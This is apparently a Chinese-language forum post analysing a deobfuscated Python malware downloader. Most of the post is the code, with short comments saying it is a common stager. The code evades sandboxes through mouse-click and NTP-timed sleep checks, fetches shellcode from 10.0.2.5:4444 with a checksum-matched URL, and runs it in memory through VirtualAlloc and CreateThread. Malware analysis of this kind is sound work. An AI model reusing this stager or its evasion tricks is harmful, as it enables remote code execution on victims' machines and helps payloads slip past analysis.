本帖最后由 a27573 于 2023-1-31 21:06 编辑
- import urllib.request, string, random, ctypes
- import multiprocessing
- n_cpu_count = multiprocessing.cpu_count()
- if n_cpu_count >= 2:
- import win32api
- a = 0
- b = 1
- while a < b: # 推测为鼠标点击反沙盒
- c = win32api.GetAsyncKeyState(1) # VK_LBUTTON 鼠标左键
- d = win32api.GetAsyncKeyState(2) # VK_RBUTTON 鼠标右键
- if c % 2 == 1:
- a += 1
- if d % 2 == 1:
- a += 1
- if a >= b:
- from time import sleep
- from socket import AF_INET, SOCK_DGRAM
- import sys
- import datetime
- import time
- import socket
- import struct
- client = socket.socket(AF_INET, SOCK_DGRAM)
- client.sendto((bytes.fromhex("1b") + 47 * bytes.fromhex("01")), ("us.pool.ntp.org",123))
- msg, address = client.recvfrom( 1024 )
- e = datetime.datetime.fromtimestamp(struct.unpack("!12I",msg)[10] - 2208988800)
- sleep(10) # sleep反沙盒
- client.sendto((bytes.fromhex("1b") + 47 * bytes.fromhex("01")), ("us.pool.ntp.org",123))
- msg, address = client.recvfrom( 1024 )
- if ((datetime.datetime.fromtimestamp((struct.unpack("!12I",msg)[10] - 2208988800)) - e).seconds >= 10): # 利用ntp服务器判断是否sleep了足够时间,检测沙盒时间加速
- def func1(s): return sum([ord(ch) for ch in s]) % 0x100
- def func2():
- for x in range(64):
- f = ''.join(random.sample(string.ascii_letters + string.digits,3))
- g = ''.join(sorted(list(string.ascii_letters+string.digits), key=lambda *args: random.random()))
- for i in g:
- if func1(f + i) == 92: return f + i
- def request_http_content(domain, port):
- proxy_handler = urllib.request.ProxyHandler({})
- opener = urllib.request.build_opener(proxy_handler)
- urllib.request.install_opener(opener)
- req = urllib.request.Request("http://" + domain + ":" + str(port) + "/" + func2(), None, {'User-Agent' : 'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)'})
- try:
- r = urllib.request.urlopen(req)
- try:
- if int(r.info()["Content-Length"]) > 100000: return r.read()
- else: return ''
- except: return r.read()
- except urllib.request.URLError:
- return ''
- def exec_shellcode(payload):
- if payload != "":
- buf = bytearray(payload)
- base_address = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(buf)), ctypes.c_int(0x3000),ctypes.c_int(0x40))
- c_char_array = (ctypes.c_char * len(buf)).from_buffer(buf)
- ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(base_address),c_char_array, ctypes.c_int(len(buf)))
- handle_thread = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_int(base_address),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))
- ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle_thread),ctypes.c_int(-1))
- payload = ''
- payload = request_http_content("10.0.2.5", 4444)
- exec_shellcode(payload)
复制代码
你看看,这样是不是就简单易懂,一目了然了?
从10.0.2.5:4444加上一个满足简单hash的4位字符串的url里下载了一段shellcode,创建线程并运行
然后这个10.0.2.5是局域网地址,说明这个脚本要配合其他组件才能运行
非常常见的downloader了
|